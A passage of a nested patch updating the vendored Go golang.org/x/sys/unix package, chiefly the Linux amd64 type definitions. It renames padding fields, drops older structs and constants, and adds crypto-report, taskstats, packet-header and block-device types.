-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x1269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint16
-+ Inode uint32
-+ Rdevice uint16
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-index e54fa984..201fb348 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_amd64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint64
- Ino uint64
-@@ -105,7 +88,7 @@ type Stat_t struct {
- Mode uint32
- Uid uint32
- Gid uint32
-- X__pad0 int32
-+ _ int32
- Rdev uint64
- Size int64
- Blksize int64
-@@ -116,139 +99,29 @@ type Stat_t struct {
- _ [3]int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Blocks uint64
-- Bfree uint64
-- Bavail uint64
-- Files uint64
-- Ffree uint64
-- Fsid Fsid
-- Namelen int64
-- Frsize int64
-- Flags int64
-- Spare [4]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -259,51 +132,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -312,277 +154,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x10
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [6]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- R15 uint64
- R14 uint64
-@@ -628,30 +209,19 @@ type Sysinfo_t struct {
- Freeswap uint64
- Procs uint16
- Pad uint16
-- Pad_cgo_0 [4]byte
- Totalhigh uint64
- Freehigh uint64
- Unit uint32
-- X_f [0]int8
-- Pad_cgo_1 [4]byte
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [0]int8
-+ _ [4]byte
- }
-
- type Ustat_t struct {
-- Tfree int32
-- Pad_cgo_0 [4]byte
-- Tinode uint64
-- Fname [6]int8
-- Fpack [6]int8
-- Pad_cgo_1 [4]byte
-+ Tfree int32
-+ Tinode uint64
-+ Fname [6]int8
-+ Fpack [6]int8
-+ _ [4]byte
- }
-
- type EpollEvent struct {
-@@ -661,37 +231,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [16]uint64
-+ Val [16]uint64
- }
-
--const RNDGETENTCNT = 0x80045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x41
-
- type Termios struct {
- Iflag uint32
-@@ -704,20 +251,11 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -729,13 +267,12 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -759,55 +296,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint64
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ _NCPUBITS = 0x40
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+const (
-+ CBitFieldMaskBit0 = 0x1
-+ CBitFieldMaskBit1 = 0x2
-+ CBitFieldMaskBit2 = 0x4
-+ CBitFieldMaskBit3 = 0x8
-+ CBitFieldMaskBit4 = 0x10
-+ CBitFieldMaskBit5 = 0x20
-+ CBitFieldMaskBit6 = 0x40
-+ CBitFieldMaskBit7 = 0x80
-+ CBitFieldMaskBit8 = 0x100
-+ CBitFieldMaskBit9 = 0x200
-+ CBitFieldMaskBit10 = 0x400
-+ CBitFieldMaskBit11 = 0x800
-+ CBitFieldMaskBit12 = 0x1000
-+ CBitFieldMaskBit13 = 0x2000
-+ CBitFieldMaskBit14 = 0x4000
-+ CBitFieldMaskBit15 = 0x8000
-+ CBitFieldMaskBit16 = 0x10000
-+ CBitFieldMaskBit17 = 0x20000
-+ CBitFieldMaskBit18 = 0x40000
-+ CBitFieldMaskBit19 = 0x80000
-+ CBitFieldMaskBit20 = 0x100000
-+ CBitFieldMaskBit21 = 0x200000
-+ CBitFieldMaskBit22 = 0x400000
-+ CBitFieldMaskBit23 = 0x800000
-+ CBitFieldMaskBit24 = 0x1000000
-+ CBitFieldMaskBit25 = 0x2000000
-+ CBitFieldMaskBit26 = 0x4000000
-+ CBitFieldMaskBit27 = 0x8000000
-+ CBitFieldMaskBit28 = 0x10000000
-+ CBitFieldMaskBit29 = 0x20000000
-+ CBitFieldMaskBit30 = 0x40000000
-+ CBitFieldMaskBit31 = 0x80000000
-+ CBitFieldMaskBit32 = 0x100000000
-+ CBitFieldMaskBit33 = 0x200000000
-+ CBitFieldMaskBit34 = 0x400000000
-+ CBitFieldMaskBit35 = 0x800000000
-+ CBitFieldMaskBit36 = 0x1000000000
-+ CBitFieldMaskBit37 = 0x2000000000
-+ CBitFieldMaskBit38 = 0x4000000000
-+ CBitFieldMaskBit39 = 0x8000000000
-+ CBitFieldMaskBit40 = 0x10000000000
-+ CBitFieldMaskBit41 = 0x20000000000
-+ CBitFieldMaskBit42 = 0x40000000000
-+ CBitFieldMaskBit43 = 0x80000000000
-+ CBitFieldMaskBit44 = 0x100000000000
-+ CBitFieldMaskBit45 = 0x200000000000
-+ CBitFieldMaskBit46 = 0x400000000000
-+ CBitFieldMaskBit47 = 0x800000000000
-+ CBitFieldMaskBit48 = 0x1000000000000
-+ CBitFieldMaskBit49 = 0x2000000000000
-+ CBitFieldMaskBit50 = 0x4000000000000
-+ CBitFieldMaskBit51 = 0x8000000000000
-+ CBitFieldMaskBit52 = 0x10000000000000
-+ CBitFieldMaskBit53 = 0x20000000000000
-+ CBitFieldMaskBit54 = 0x40000000000000
-+ CBitFieldMaskBit55 = 0x80000000000000
-+ CBitFieldMaskBit56 = 0x100000000000000
-+ CBitFieldMaskBit57 = 0x200000000000000
-+ CBitFieldMaskBit58 = 0x400000000000000
-+ CBitFieldMaskBit59 = 0x800000000000000
-+ CBitFieldMaskBit60 = 0x1000000000000000
-+ CBitFieldMaskBit61 = 0x2000000000000000
-+ CBitFieldMaskBit62 = 0x4000000000000000
-+ CBitFieldMaskBit63 = 0x8000000000000000
-+)
-+
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [118]int8
-+ _ uint64
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint64
-+}
-+
-+type Statfs_t struct {
-+ Type int64
-+ Bsize int64
-+ Blocks uint64
-+ Bfree uint64
-+ Bavail uint64
-+ Files uint64
-+ Ffree uint64
-+ Fsid Fsid
-+ Namelen int64
-+ Frsize int64
-+ Flags int64
-+ Spare [4]int64
-+}
-+
-+type TpacketHdr struct {
-+ Status uint64
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ SizeofTpacketHdr = 0x20
- )
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int64
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
-+}
-+
-+const (
-+ BLKPG = 0x1269
-+)
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint64
-+ Inode uint64
-+ Rdevice uint64
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
